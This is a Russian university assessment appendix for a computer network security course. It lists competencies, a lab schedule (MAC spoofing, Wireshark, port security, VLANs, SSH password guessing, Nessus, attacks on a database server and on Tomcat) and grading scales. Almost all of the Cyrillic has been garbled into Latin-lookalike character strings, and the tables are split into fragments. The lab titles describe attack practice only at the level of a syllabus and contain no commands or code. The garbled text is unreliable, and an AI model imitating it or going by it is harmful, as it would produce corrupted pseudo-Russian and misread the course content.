TIPOTPaMMO¥ TUCITUITLINHEI (MOAYIIS), pa3MeIleH B JJIEKTPOHHOH HHPOpMaInOHHO-00pa3oBartenbHoi cpene Upl'YIIC,
JOCTYIHOX 00ydaromemMycs 9epe3 ero JINYHbIN KaOHMHEeT




Ipuiaoxenue Ne 1 k padoueii mporpamme

®OH/I OHEHOYHBIX CPEJICTB

JJIA IIPOBEACHUSA TCKYLIECI0 KOHTPOJISA YCIIEBAEMOCTH
Hu HpOMe)KyTO‘IHOﬁ arrecraguu



1. O0mue mMoJI0KeHUA

®onp oreHoUHBIX cpencTB (POC) sIBISETCS COCTABHOM YaCThI0 HOPMATHBHO-METOINYECKOTO
obecrniedeHurst CUCTEMbI OIICHKH Ka4eCTBa OCBOCHUS 00yUJalOIUMUCS 00pa30BaTeIbHOM MIPOTrPAMMEI.

@DoH/ OLEHOYHBIX CPEACTB TMpeAHA3HAYeH [UI  HCIOJIb30BaHHMS  OOYYarOIIMMUCH,
npenoaasarensmu, aamuHuctpauuert Wpl'VIIC, a Ttakxke CTOpoHHUMH 00pa3oBaTEIbHBIMU
OpraHu3alMsIMHU I OICHWBAHMs KadecTBa OCBOCHHS OOpa30BaTeIbHON NpPOrpaMMbl W YPOBHS
c(hOPMHUPOBAHHOCTH KOMITETEHITUH Y 00yJarOITHXCS.

Zamauamu ©OC gaBagroTCS:

— OLIEHKA JOCTHMKEHHUI 00YJArOIIUXCS B TIPOIECCE U3YICHUS TUCITUTUTHHEI;

— obecrnieyeHre COOTBETCTBHUS PE3yJbTaTOB O0yUeHH 3a/1auaM Oyaymied nmpodeccuoHaabHOMU
NESTEILHOCTH Yepe3 COBEPILICHCTBOBAHUE TPAAUIIMOHHBIX M BHEAPEHHE MHHOBAIMOHHBIX METOJIOB
o0y4eHus1 B 00pa3oBaTeNIbHBIN POIIECC;

— CaMOIMOJITOTOBKA M CAMOKOHTPOJIb O0YYaIONINXCS B IIPOLIECCE O0yUCHHUS.

@DoH/T OLICHOYHBIX CPEACTB CHOPMHPOBAH HA OCHOBE KITFOUYEBBIX MPUHIIMIIOB OLICHUBAHUS:
BaJINIHOCTh, HAJIE)KHOCTh, 00bEKTHBHOCTh, 3PPEKTUBHOCTD.

Jlnst omneHKH ypoBHA C(HOPMHUPOBAHHOCTH KOMIIETEHIIMHA WCIOJIB3YeTCsS TPEeXypOBHEBas
CcHCTEMA:

— MUHUMAJIbHBIM YPOBEHb OCBOEHUS, 0053aTEIbHBIN 711 BCEX 00YYaIOIIMXCS MO 3aBEPIICHUIO
OCBOGHHUSI 00pa30BaTEIBHOM NPOrPAaMMBI, JaeT OOIIee MPEACTAaBICHUE O BHJIE JCATEIHHOCTH,
OCHOBHBIX 3aKOHOMEPHOCTSIX (PYHKIMOHUPOBAHUS OOBEKTOB MPO(HECCHOHATHLHOU esTEIbHOCTH,
METO/IOB M aJITOPUTMOB PEIICHUS MPAKTUYESCKUX 3a7a4;

— 0a30BBI  ypOBEHb  OCBOGHHUS, NPEBBIIICHHE  MHHUMAIBHBIX  XapaKTEPUCTUK
cOPMUPOBAHHOCTH  KOMIICTCHIIMK; IO3BOJIIET  peIlaTh  TUIOBBIC  3aJayd, [PUHUMATH
npodeccuoHanbHble W YOpPaBICHYECKHE pEIIeHUs MO0 H3BECTHBIM aITOPUTMaM, MpaBHIaM H
METOIUKAM;

— BBICOKMH YPOBEHb OCBOEHMS, MAKCUMAJIbHO BO3MOKHAsl BBIPAKEHHOCTh XapaKTEPUCTHUK
KOMIIETECHIINI; TIPeAnoaraeT roTOBHOCTh peliaTh MPAKTUYECKUE 3a7aud MOBBIIICHHOW CIIOXHOCTH,
HETUIIOBBIC 3aJ]aud, NMPUHUMATh TPO(ECCHOHATbHBIE W YIPABICHUYECKHUE PELICHUS B YCIOBHIX
HETIOTHOW OIPEACIICHHOCTH, ITPU HEAOCTATOYHOM JIOKYMEHTAIbHOM, HOPMAaTUBHOM M METOJIMYECKOM
00ecIeUCHUH.



2. Ilepeyenb KoMneTeH Ui, B GOPpMUPOBAHMH KOTOPBIX YYACTBYeT JUCLHMIIUHA.
IIporpaMmma KOHTPOJILHO-OLEHOYHbBIX MEPONIPUATHI.
IHoka3zaren oneHMBAHUA KOMIETEHI U, KPUTEPUH OLEHKH

Hucnurnnuna «bezonacHocTs ceTeit 9BM» ydacTByeT B popMUPOBAHUN KOMITETCHIIHIN:
OIIK-9. CriocoGeH pemiath 3a1a4u Mpo(eccrnoHaIbHOM JESTEIBHOCTH C YIETOM TEKYIIETO
COCTOSTHUS ¥ TeHJICHIIUI pa3BUTH HHPOPMAIIMOHHBIX TEXHOJIIOTUN, CPEJCTB TEXHUYECKOM 3aIIUTHI
uH(OpMaLINK, CeTeH U CHCTEM Nepeaadn HHPOpMauu
IIporpaMmma KOHTPOJIbHO-OLEHOYHBIX MEPONIPUATH I

o4yHas popma o0yueHust

HaumenoBanue Kon
HaumenoBanue
KOHTPOJIbHO- MH/IMKATOpa
Ne OOBEeKT KOHTPOJISI OLIECHOYHOT'O CPEJICTBA
OLIEHOYHOT'O JIOCTHOKCHUS «
(dbopma mpoBeneHus™)
MEpOTIPHUATHS KOMIICTEHIHH
7 cemecTp
10 Paznean 1. Iloctpoenme mpocroii ceru. JlokajabHo-BhluMcauTenbHass cerb (JIBC)
' Ethernet
Tema 1. OcHOBHBIE TOHATUS
MH(POPMAIIMOHHOM
. 0€30MMacHOCTH U
11 Texyuuit WH(POPMAIIMOHHBIX CeTel OIIK-9.1 CobecenoBanue (yCcTHO)
' KOHTPOJIb pMart ’ OIIK-9.3 a Y
OcCHOBBI IOCTPOCHUS
COBPEMEHHBIX JIOKAJIbHBIX
ceTe
. JlaboparopHas pabota Ne 1.
Texymuit patopHai b OIIK-9.1 Jlaboparopuas pabota
1.2 KOHTPOJIb Msmenenne MAC-anpeca B OIIK-9.3 (TMCHMEHHO/YCTHO)
P OC Windows ' Y
Tema 2. CereBble
. OTIepPAI[MOHHBIE CHUCTEMBI.
Texymmit pall OIIK-9.1
1.3 Ob6ecrieueHre 6€30NaCHOCTH CobecenoBanue (yCTHO)
KOHTPOJTb . OIIK-9.3
cereil Ha 6a3e ceTeBbIX
OTIEPAIIMOHHBIX CHCTEM
. Tema 3. TexHonoruu
14 Texyuuit obecrieyeHns 6€30MaCHOCTH OIK-9.1 CobecenoBanue (yCTHO)
' KOHTPOJIb OIIK-9.3 A Y
B JIOKQJIBHBIX CETSAX
JlabopaTtopHas padota No 2.
HccnenoBanue kaapa
Ethernet mpoTokomna
Ethernet ¢ momorbto
nporpamMmbl Wireshark: —
15 Texymmuit u3yueHue Tpaduka aTaku c OIIK-9.1 JlaGopatopHas pabota
' KOHTPOJIb MTOMOLUIBIO TPOrPaMMBI OIIK-9.3 (MMCbMEHHO/YCTHO)
aHaJIM3aTopa MakeToB; —
HacTpoiika nHTepdercoB
BUPTYaJIbHBIX MaIlIMH
WCTIONB3Ys TpaBUIIa
JIeTICHUsI CeTel Ha MOJICETH
Tema 4. IlepcniekTuBHBIE
Texymmit HAIpaBJICHUS PAa3BUTHS U OIlK-9.1
1.6 ym P p CobecenoBanue (yCTHO)
KOHTPOJIb poOIeMbI OIIK-9.3
MH(OPMAIIMOHHBIX ceTel
JlabopaTtopHas paborta Ne 3:
17 Texymuit Wzyuenne yrunur tep/ip B OIIK-9.1 JlaGoparopHas pabota
' KOHTPOJIb oc windows; — dos kak OIlK-9.3 (TMCBMEHHO/YCTHO)

Harpy3o4Ho€ TCCTUPOBAHUC




JlaGopaTopHnas padota Ne 4.
3HAKOMCTBO CO Cpeaoit
MOJICIIMPOBAHUS «CiSCO

18 Texymmit packet tracer»: —3HaKOMCTBO OIIK-9.1 Jlaboparopuas pabota
' KOHTPOJTb ¢ pa6otoii B 10 Cisco OIIK-9.3 (TMCHhMEHHO/YCTHO)
Packet Tracer; —ipoTokoJibI
ARP u ICMP (niporpammebl
ping u tracert)
JlaGopaTopHas padora Ne 5.
Texymuit HacTpolika nexommpix OIIK-9.1 Jlaboparopnas pabota
1.9 rapamMeTpoB 0€30MacHOCTH
KOHTPOJTb i OIIK-9.3 (TMCHhMEHHO/YCTHO)
KOMMyTaTopa: —port
security
2.0 Pa3nen 2. Be3onacHocTh 6eCIPOBOIHBIX ceTell mepeaavyu JaHHbIX
Tema 5. Dtanbl BHEApEHUS
Texymmit 0eCIpOBOTHOM CETH. OIIK-9.1
2.1 KOHTPOJTb [IpoTokoel 6e30macHOCTH OIIK-9.3 Cobecenosarme (ycrno)
ceten WLAN
Texymuit JlaGopatopuas padota Ne 6. OIIK-9.1 Jlaboparopuas pabota
2.2 [TocTpoeHnue GecripoBOIHBIX
KOHTPOJIb OIIK-9.3 (MMCHMEHHO/YCTHO)
WH()OPMAIIMOHHBIX CHCTEM
3.0 | Pazgea 3. CoennHeHHe JIOKAJIBHBIX ceTeid
3.1 Texymuit T:;dnilgélclf;ﬁ:;zleTeBoro OIK-9.1 CobecenoBanue (yCcTHO)
' KOHTPOJIb p w OIIK-9.3 a Y
B3aMMOJICHCTBHS
JlaboparopHuas pabota Ne 7.
Texymmit Hacrpoiika nucxomsbix OIIK-9.1 Jlaboparopnas pabota
3.2
KOHTPOJIb rapameTpoB 0€301acHOCTU OIIK-9.3 (MMCHEMEHHO/YCTHO)
MapuipyTu3aropa
3.3 Texyiumn g:;\:)?'IZéI{O()i?[;H:Azz{CIEiCBOFO OIIK-9.1 CobecenoBanue (yCTHO)
' KOHTPOJIb 9 OIIK-9.3 A Y
B3aMMO/ICHCTBHS
JIaGopartopHas pabota Ne 8.
Texymmit Packet Tracer: OIIK-9.1 Jlaboparopnas pabota
3.4 MOAKITIOUEHUE
KOHTPOJIb OIIK-9.3 (MMCHEMEHHO/YCTHO)
MapIIpyTu3aropa K
JIOKQJIbHOM CETH
4.0 | Paznen 4. Opranmu3anus u Hactpoiika VLAN
Tema 8. Ha3znauenue
. BUPTYaJIbHBIX CETEH.
Texymmit OIIK-9.1
4.1 KOHTPOITh Cosz[vaHHe BUPTYaJIbHBIX OIIK-9 3 CobecenoBanue (yCTHO)
cerell Ha 6a3e OAHOTO
KOMMYTaTopa
JlaGopaTtopHnas padota Ne 9.
Opranuzanus u HacTpoiKa
VLAN: — co3manue u
42 Texymmit EE;TI\I;OH;?)V;AE\I Ij)aCT « OIIK-9.1 Jlaboparopnas pabota
' KOHTPOJIb yraropax; = I0CTyI OIIK-9.3 (MMCbMEHHO/YCTHO)

obopynoBanuto Cisco 1o
nporokonry SSH; — ataka
METOIOM nepedopa maposs
Ha cyk0y SSH




Tema 9. Co3nanue

4.3 ;fg:ggf;;z BUPTYaJIbHBIX CeTeil Ha Oaze 83;3 é CobecenoBanue (yCTHO)
HECKOJIbKUX KOMMYTAaTOpOB
5.0 | Pa3ngea 5. CpeacTrBa aHa/In3a 3alUIIEHHOCTH BHIYMCIUTEIBHBIX ceTell
Tema 10. O630p cpencTs
aHaJIM3a 3allUIIEHHOCTH
51 Tekymui BBIYUCIIHUTEIBHEIX CETEH. OIIK-9.1 CoBeceioanue (yeTHO)
KOHTPOJTb MeTtoauku MpUMEHEHHUS OIIK-9.3
Cpe/CTB aHaIM3a
3alMIIEHHOCTH ceTei
JlaGopaTopHas pabota Ne
10. CpencrBa ananusa
3alUIIEHHOCTH
BBIYHCITUTEIILHBIX CETeH Ha
Texymmmit HPHMEDE H3YHEHHA OIIK-9.1 Jlabopartopnas pabota
5.2 BO3MO>KHOCTEH CKaHepa
KOHTPOJIb i OIIK-9.3 (MMCHEMEHHO/YCTHO)
3alUMIIEHHOCTH Nessus; —
aTaka Ha cepBep 0a3
JAaHHBIX; — aTaKa Ha cepBep
NPUIIOKEHH tomcat 1o
ynpasieHuem OC Windows
Tema 11. IIpaBoBbIE OCHOBBI
5.3 Texyiumn f{iﬁﬁz;i:};?ﬁgdjelﬁi ’ OIIK-9.1 CobecenoBanue (yCcTHO)
' KOHTPOJIb . ' OIIK-9.3
3auIeHHbINA
JIOKYMEHTO000pOT
6.0 Paszpnen 6. Aynut 0e3onacHoctu cereii IBM
Tewma 12. Bune! aynura
6e3onacHoctu cereit OIBM.
6.1 Texyiumn Si?:;ljz?;feoniiile OIIK-9.1 CobecenoBanue (yCTHO)
' KOHTPOJIb OIIK-9.3
JTIOKYMEHTHI 110
o0ecre4yeHno
6e3omacHocTH ceteid 9BM
JIaGoparophas pabota Nell:
6.2 Texymmit Pazpabotka nnana OIIK-9.1 JlaGoparopHnas pabota
' KOHTPOJIb IIPOBEJICHUS ayJUTa CETU OIIK-9.3 (MMCBEMEHHO/YCTHO)
OBM
KypcoBas padota
IIpomexyTouHas OIIK-9.1 (MTHCBMEHHO)
Bce paznenst
aTTecTarus OIIK-9.3 Kypcosas pabora
(ycTHO)
DK3aMeH
(cobecenoBaHue)
[IpomexyTouHas Bee pasensl OIIK-9.1 DK3aMeH -
aTTecTalus OIIK-9.3 TECTUPOBAHUE
(KOMIIbIOTEpHBIE
TEXHOJIOTHH)

*d)opMa MMPOBEACHNA KOHTPOJIBbHO-OLCHOYHOI'O MEPOIIPHUATUA: YCTHO, IMCEMCHHO, KOMIIBIOTCPHEBIC
TCXHOJIOTHH.




Onucanue noka3arteseil 1 KpUTepueB OLleHUBAHUS KOMIIETECHINA.
Onucanne mKaJj OeHUBAHUS

KoHnTposb kauecTBa OCBOCHUS AUCIUIIIIMHBI BKIIIOUAET B c€0s1 TEKYIIHUN KOHTPOJIb YCIIEBAEMOCTH
U MIPOMEXKYTOUHYIO aTTECTalMI0. TEeKyIHi KOHTPOJIb YCIIEBAEMOCTH U MPOMEKYTOUHAS aTTECTALMUS
oOy4aromuxcsi MPOBOASTCA B LEISIX YCTAHOBJICHUS COOTBETCTBHSI JOCTHIKEHHMM OOy4arouiuxcs
MO3TAITHBIM TPeOOBaHUSAM 00pa30BaTEIILHON MPOTPaMMBI K pe3yiibTataM 00y4eHus u (popMupoBaHus
KOMIIETEHIIUH.

Tekymuii KOHTPOJb YCIIEBAEMOCTH — OCHOBHOW BHJI CUCTEMATHYECKOW NPOBEPKH 3HAHUM,
YMEHHH, HaBBIKOB O0OydYaloIIMXCs. 3ajadya TEKYyIIEero KOHTPOJS — OINEpaTMBHOE U PEryisipHOe
yIpaBICHUE y4eOHOU IEeATEIHHOCTHI0 O0YUYAIONINXCS HA OCHOBE OOpATHOM CBSI3H M KOPPEKTHPOBKH.
Pe3ynprarhl OLleHUBaHUSI YUYUTHIBAIOTCS B BUJE CPEIHEH OLIEHKH IPU MPOBEIECHUU MTPOMEKYTOUHON
aTTeCTalLUU.

Jl1s olileHHMBaHUA Pe3yNbTaTOB O0YUYEHHS MCIOB3YETCs YeThIpeXxOaipbHas 1IKajia: «OTIHYHOY,
«XOpOIIIOY», «YIOBIETBOPUTEIHHOY, «HEYIOBICTBOPUTEIHLHO» U IABYXOAJTbHAS IIKAA: «3a4TEHOY,
«HE 3a4TECHOY.

[lepeueHb OLICHOUHBIX CPEACTB, HMCIOJB3YEMBIX [JII OLEHHUBAHUS KOMIICTCHIIMH, a TaKKe
KpaTKasl XapaKTepUCTHKA 3TUX CPEICTB MIPUBEACHHI B TAOJHIIE.

Texynui KOHTpOJIb

HaumenoBanue Hpencrasierie
OLICHOYHOT'O
Ne OLICHOYHOT'O Kparkas xapakTepucTuka OlleHOYHOT'O CpeICTBa cpejicTBa B
CpeacTBa DOC
CpencTtBo KOHTpOJISI Ha IPAKTUYECKOM 3aHSATHUH,
OpraHM30BaHHOE  KaK  cHelnualibHas  Oecena
npernojaBatens ¢ oOydaromuMmcs Ha Tembl, | Bompocs! mis
CBS3aHHBIE C HW3y4aeMOW JTUCIUIUIMHOW, | | coOecemoBaHus
1 | CobecenoBanue paccuMTaHHOE Ha BbIICHEHHWE oOObeMa 3HAHUU | O
00yJaroIerocs o OMpeACICHHOMY pa3Jiely, TeMe, | TeMaM/pasienam
npo0GyeMe U T.1I. JUCIUTUINHBI
MoskeT OBITh HCIOJIB30BAHO MJisi OIEHKH 3HAHUUN
00y4aromuxcs
CpenctBo, MO3BOJISIIONIEE  OLEHUTh  YMEHHUE OGpazen
oOydJaromierocss MUCbMEHHO/YCTHO U3JIaraTh CyTh 3aJIIE)1HI/I${ s
MOCTaBJIECHHOM 3a7]a4l, CAMOCTOSTEIIbHO TPUMEHSTh
CTaHJApTHBIE METOJIbI PEIICHUS TMOCTaBICHHON BRITOMTHCHIA |
. nabopaTtopHoOi
2 JlaboparopHas 3a1aun c HCIIOJIb30BaHUEM UMeEIoIIecs paboTHI 1
pabora nabopaTopHOU 0a3bl, MIPOBOJIUTH aHamn3 .
MOJIYYEHHOTO pe3yibTara padoThl. NPHMEPHBIH
MoskeT ObITh HCIONB30BAHO JI OLIEHKU YMEHUH, TEpErieHb
HaBBIKOB M (WIM)  ONbITa  JIEATEIHHOCTH BOTPOCOB JUIA
€€ 3alUThI
00yJaronmxcst
[IpomexxyTouHas aTrectanus
HaumenoBanue [IpencraBnenue
No OIICHOYHOT'O Kpartkas xapakTeprcTrKa OIIEeHOYHOTO CPEICTBa OIICHOYHOTO
CpeACTBA cpencta B POC
CpencTBo, mo3BOJISIOIIEE OLIEHUTh 3HaHUs, yMeHusl, | [lepeuenp
HaBBIKOB W  (WJIM)  OMmbITa  JEATEIBHOCTH | TEOPETUUECKHUX
1 | Dxsamen o0yuJaroIerocs Mo AUCIUILTHHE. BOITPOCOB U
MoskeT OBITh MCIOJIb30BAHO JIJISl OICHKW 3HAHHM, | MPAKTUYECKUX
YMEHH, HABBIKOB M (WMJM) OMBITAa JESITENLHOCTH | 3adaHuii (oOpasers
00yJaronmxcs 9K3aMEHAIIMOHHOTO




owuera) K
JK3aMEHY

Tect —
IPOMEKYTOUHAS
aTTecTanus B
dbopme 3K3aMeHa

Cucrema ABTOMATHU3UPOBAHHOTO KOHTPOJIS
OCBOCHHMSI KOMIETEHUUN (YacTh KOMIIETECHIIMI)
oOyJarormuMmcss 1O JUCHUIUIMHE (MOAYIIO) C
HCII0Ib30BaHUEM nH(OPMAIIMOHHO-
KOMMYHHMKAIIUOHHBIX TEXHOJIOTHA.

MoskeT OBITh HCIIOJIB30BAHO IS OLICHKH 3HAHMIM,
YMEHHH, HABBIKOB M (WMJIM) OMNBITAa AESITEIBbHOCTU
00yJaromuxcs

DoHI TeCTOBRIX
3aJaHUuN

Kypcosas pabora

[lo3BonsieT  ONEHHUTH yMEHHUS  OOYyYaroIUXCs
CaMOCTOATENIbHO KOHCTPYMPOBAaTh CBOM 3HAHHUS B
IIpoLleCCe  pEelICHUs IPaKTUYeCKMX 3axad U
po0sieM, OpUEHTUPOBATHCA B HH(OPMALIMOHHOM
MPOCTPAHCTBE M YPOBEHb C(HOPMHUPOBAHHOCTU
AQHAJIUTUYECKUX, HCCIEA0BATEIbCKUX  HABBIKOB,
HaBBIKOB  IIPAKTMYECKOTO U TBOPYECKOIO
MBIIICHHUS. Moxert BBIIIOJIHATHCS B
WHIUBUYAIBHOM  TOpAAKE  WJIH  TPYNIIOH
o0yJaromuxcs.

MoskeT OBbITh MCHOIB30BAHO ISl OLIEHKU YMEHMH,
HaBBIKOB ¥ (MJIM)  ONBITa  JESTENbHOCTH
00yJaronuxcs B IPeAMETHOM MUITH MEKITPEAMETHOM
o0acTax

OO6pa3err 3aanus
JUISL BBITTOJTHEHUS
KYPCOBOM pabOThI
Y IPUMEPHBIN
nepeueHb
BOTIPOCOB JTS €€
3aIIUATEI

Kpurepun u mkajbl OeHUBAHMSI KOMIIETEHUMHA B pe3yJbTare H3y4eHUs AU CHUIINHbI
NPHU NPOBeIeHUM NMPOMEKYTOUHOM aTrTecTannu B popMme 3xk3amena. Illlkana oneHuBanus

YPOBHS OCBOCHUS KOMIIeTeHI Uil

[Ixama orteHnBanus

Kpurepun onenuBanus

YpoBeHb
OCBOCHHUS
KOMITETEHIINHI

«KOTIHUYIHO»

OOyuaromuiics MPaBUIBLHO OTBETHII

TCOPCTUUCCKHUEC  BOIIPOCHI.

Ha
Ilokazan oTiIM4YHBIE

3HaHHUA B paMKax ydyeOHoro matepuaia. [IpaBunbHo
BBIMIOJIHWJI ~ IIpakTHYeckue 3ajgaHus. [lokasan
OTJIMYHbIE YMEHUS M  BIAJACHUS  HaBbIKAMU
IIPUMEHEHHUS IOJIyYEHHBIX 3HAaHUW M yYMEHUH Ipu
pelIeHNH 3aJa4 B paMKax y4eOHOro marepuana.
OTBeTnI1 Ha BCe IONOJHUTENIBHBIE BOIIPOCHI

Bricokuii

«XOpOLLIO»

OOyuarommiicss ¢ HEOOJbIIMMU HETOYHOCTSIMU
OTBETUJ Ha TeopeTudyeckue Bompockl. Ilokasan
XOpolllie 3HaHUS B paMKax ydyeOHoro marepuana. C
HEOOJIBIINMU HETOYHOCTAMHU BBITIOJTHUII
npakTryeckue 3ananus. [lokazan xopomme ymeHus
U BJAJICHUS HaBbIKAMU IPUMEHEHHUS IOJIyYEHHBIX
3HAHUM M YMEHHM NpU PELICHHH 337a4 B paMKax
yuebHoro marepuana. OTBeTHJI Ha OOJBIIMHCTBO
JIOTIOJIHATEIIbHBIX BOIIPOCOB

bazosrlit

«KYHOOBJICTBOPUTECIIEHO»

OO0y4armuiicss ¢ CyIEeCTBEHHBIMH HETOYHOCTSIMU
OTBETWJI Ha TeopeTuueckue Bompockl. [lokazan
YIOBJIETBOPUTENbHBIC 3HAHUS B paMKaX y4eOHOTO
Marepuana. C CyIIECTBEHHBIMH HETOYHOCTSIMHU

MuHUMaNbHBIN




BBIMIOJIHWJI ~ TIpakTUueckue 3anaHus. [lokazan
YIOBJIETBOPUTENIbHbIE  yMEHHUS U  BJaJICHUs
HABBIKAMU TPUMEHEHUS TMOJYYCHHBIX 3HAHUU U
YMEHHMM MpH pelieHuH 3ajad B paMKax y4eOHOro
Marepuana. JlomycTwJi MHOTO HETOYHOCTEH Mpu
OTBETE Ha JIOMOJHUTENIbHBIE BOITPOCHI

«HEYOOBJCTBOPUTCIBHOY

OOyuatouuiics TpuU OTBETE HA TEOPETHUECKUE
BOIIPOCBI W TMPU BBIIOJIHEHUU MPAKTUYECKHUX
3aJlaHUK  MPOAEMOHCTPUPOBAJ  HEAOCTaTO4HbIM |  KoMmereHuus
YPOBEHb 3HAHUI U YMEHUU NpU PEUICHUH 3a/1a4 B HE
paMmkax yueOHOro wmarepuana. IIpm orBerax Ha | cdopMHpOBaHa
JOTIOJTHUTETIbHBIE  BOMPOCHI  OBLJIO  JIOMYLIECHO
MHOKECTBO HENTPABHIIbHBIX OTBETOB

Tect — npomexxyTouHas artectanus B popme IK3aMeHa

Kpurepuu onenuBanust IlIxana oneHnBaHUs

OO6yuarommiicst BepHo orBeTis1 Ha 90 — 100 % TecTOBBIX 3a1aHM
TIPY POXOKJCHUU TECTUPOBAHUS

«OTJIMYHO»

OOGyuarommiicst BepHo orBeTri1 Ha 80 — 89 % TecTOBBIX 3amaHuit
TIPY IPOXOKJICHUU TECTUPOBAHUS

«XOopouro»

OO6yuaromumiics BepHo otBeTUI Ha 70 — 79 % TeCTOBBIX 3a/laHUIt
MIPU IPOXOKJIEHUN TECTUPOBAHMS

«YZOBJIETBOPUTEIILHO»

OOyyaromuiics BepHO OTBeTWN Ha 69 % UM MeHee TeCTOBBIX
3aIaHUI MPU IPOXO0KJACHUH TECTUPOBAHUS

«CHCYOOBJICTBOPUTCIILHO»

KypcoBas pabota

[IIxaa onieHnBaHus

Kputepuu oneHuBanus

«KOTIHUYIHO»

CopnepxaHue KypcoBOM pabOThI MOJHOCTbIO COOTBETCTBYET 3aJaHMIO.
[IpencraBiensl  pe3ynbTaThl  0030pa JIMTEPATYPHBIX U HHBIX
UCTOYHUKOB. CTPYKTYypa KypcOBOM pabOThl JOTHYECKH U METOJUYECKH
BblJIepkaHa. Bce  BBIBOABI M MPEANIOKEHHS — yOeIUTEIbHO
aprymentupoBanbl. OdopmiieHne KypcoBOW pabOThI U TOJYYEHHBIC
pe3yabTaThl IOJIHOCTBIO OTBEYAIOT TPeOOBaHMSAM, H3JI0KEHHBIM B
MEeTOoaMYecKuX  ykasaHusx. [lpum 3ammre KypcoBoi  pabOThI
oOyyaromuiicss NpPaBWIBHO M YBEPEHHO OTBEYaeT Ha BOIPOCHI
npenojaBaresns, JAEMOHCTPUPYET TIIyOOKOe 3HaHHE TEOPETUYECKOTo
MmaTepHaa, Clioco0eH apryMeHTHPOBaTh COOCTBEHHbBIE YTBEPKACHUS U
BBIBO/IbI

«XOpOLLIO»

Copneprxanne KypcoBOil paOOThl MOJHOCTBIO COOTBETCTBYET 3a/1aHUIO.
[IpencraBineHsl  pe3ynbTaThl  0030pa JIMTEPATYpPHBIX U HHBIX
UCTOYHUKOB. CTPYKTYypa KypcoBOW pabOThI JIOTHYECKH U METOJINYECKU
BbI/IEpKaHa. BonbmmHcTBO BBIBOJIOB u MpeI0KEHU I
aprymeHTupoBano. OdopmiieHne KypcoBoil pabOThl M TOIyYeHHBIE
pe3ynbTaThl B IEJIOM OTBEYAlIOT TPEOOBAaHUSAM, H3JIO0KEHHBIM B
METOIMYECKUX YyKa3aHUsAX. lMmeroTcs opHa-IBEe HECYIIECTBEHHBIE
OIIMOKK B HCIIOJIb30BAHUU TEPMHHOB, B MOCTPOEHHBIX AMArpaMMax U
cxemax. HannuecTByeT HE3HAUNTENIBHOE KOJIMYECTBO IPAMMATUYECKUX
u/uaM  ctuiMcThdeckux omubok. Ilpu 3ammre KypcoBoil paboThI
o0yyaromuicss MpaBUIBHO M YBEPEHHO OTBEYaeT Ha OOJBIIMHCTBO
BOIPOCOB ~ IpENojaBaTelisd, JEMOHCTPUPYET  XOpollee 3HaHHE
TEOPETUYECKOTr0 MaTepHaia, HO He BCerja ClocoOeH apryMeHTHUPOBATh
cOoOCTBEHHBIE YTBEPKIEHUS U BbIBOABL. [Ipu HaBomsAmMX BoOIpocax
Iperno/iaBaTessl UCIPABIseT OIMOKU B OTBETE




«KYHOOBJICTBOPUTEIIBLHO»

CopepxaHue KypCcOBOM paOOThl YaCTUYHO HE COOTBETCTBYET 3aJaHHUIO.
PesynbTarhl 0030pa TUTEpaTYPHBIX M UHBIX UICTOYHUKOB MTPEICTABICHBI
HEJOCTAaTOYHO TMONHO. ECTh HapylmieHUuss B JIOTUKE H3JIO0XKCHHS
Marepuaia. ApryMeHTanus BBIBOJOB M MPEIUIOKCHUN ciabas WiIn
OoTCyTCTBYeT. MMEIOTCS ONIHO-/IBa CYIIECTBEHHBIX OTKJIOHEHHH OT
TpeOboBaHuii B odopmieHMH KypcoBoil paboThl. [lomydeHHbIe
pe3ynbTaThl B IIEJIOM OTBEYAIOT TPEOOBAaHUSAM, W3IOKCHHBIM B
METOAMYECKUX YKa3zaHUsIX. IMEIOTCsI 0/JHa-/IBE CYIIECTBEHHBIX OITHOKH
B HCIIOJIb30BAaHUH TEPMHUHOB, B MTOCTPOCHHBIX JUarpaMmax M cxemax.
MHOro rpaMMaTHYECKUX W/WIIN CTUIIMCTHYECKUX omuOoK. [Ipu 3ammre
KypcoBO# paboThl OOyYarOUIUIiCs JOMyCKaeT TrpyOble OMIMOKH MpH
OTBETaxX Ha BOIPOCHI MIPETIoIaBaTellsl M /WK HE Jajl OTBET OoJiee 4eM Ha
30% BOMpPOCOB, JEMOHCTPUPYET CjJa00€ 3HAHHUE TEOPETUYECKOIrO
MaTtepuajia, B OOJIBIIMHCTBE CIly4acB HE CIIOCOOCH yBEPEHHO
apryMEHTHPOBATh COOCTBEHHBIC YTBEPKICHUS W BHIBOJIBI

«HCYHOOBJCTBOPUTCIBLHO»

CopnepkaHre KypcoBOW pabOTHI B IIEJIOM HE COOTBETCTBYET 3aJIaHUIO.
NmeroTcst Oosee IBYX CYIISCTBEHHBIX OTKJIIOHEHUH OT TPeOOBaHMM B
0hOpMIICHUH KYpCOBO# paboThI. boJbIIoe KOJIMYECTBO CYIIECTBEHHBIX
OmMOOK 110 CYyTH PabOThI, MHOI'O I'PAMMATHYECKUX M CTUIMCTHUYCCKUX
ommbok u np. [lonydyeHHbIe pe3ynbTaThl HE OTBEUYAIOT TPEOOBAHMSIM,
HU3JI0KEHHBIM B METOJIMYECKMX YyKazaHusx. [Ipu 3ammre KypcoBoi
paboTel  oOydarmuiics  JEeMOHCTpUpyeT  cinaboe  TMOHHUMaHue
MIPOrPaMMHOI0 MaTepuania.

KypcoBas pabota He npecTaBiieHa npenoasarento. O0yJaromuiics He
SIBUWJICS HA 3aIUTY KYpCOBOM pabOThI

KpuTtepun u mkaJibl olileHMBaHUS Pe3yJbTaTOB 00y4eHHs NIPU NMPOBeAeHUN

Co0OecenoBanue

TEKYIIEro KOHTPOJIA YCII€EBAEMOCTH

I1Ixansl OIIEHUBAHUS Kpurepuu oniennBanus

«OTIHUYHO»

«XOopouro»

«YHAOBJICTBOPUTCIIBHO»

I'mybokoe ¥  TNpPOYHOE  YCBOEGHHE  MPOTPAMMHOIO
marepuana. IlonHble, mocienoBaTenbHbIe, TPAMOTHBIE H
JIOTHYECKU H3JIaraeéMble OTBEThl TNPU BUJOU3MEHEHHU
3amanus. OOyuaromuiicss CBOOOJHO CHpAaBISETCS C
MOCTaBJIEHHBIMU 3371a4aMH, MOXeT 000CHOBATh MIPUHSATHIE
peleHus, NEMOHCTPUPYET BIAJCHUE Pa3HOCTOPOHHUMH
HaBBbIKAMU U IPHEMaMHU BbIINOJIHEHUS] IPAKTUYECKUX PaboT

3HaHME€  MPOrpaMMHOr0  Marepuajia,  IpaMOTHOE
U3JI0kKEeHHeE, 0e3 CyIIeCTBEeHHBIX HETOUHOCTEH B OTBETE Ha
BOIIPOC, IPAaBUIIbHOE IPUMEHEHNE TEOPETUUECKUX 3HaHUH,
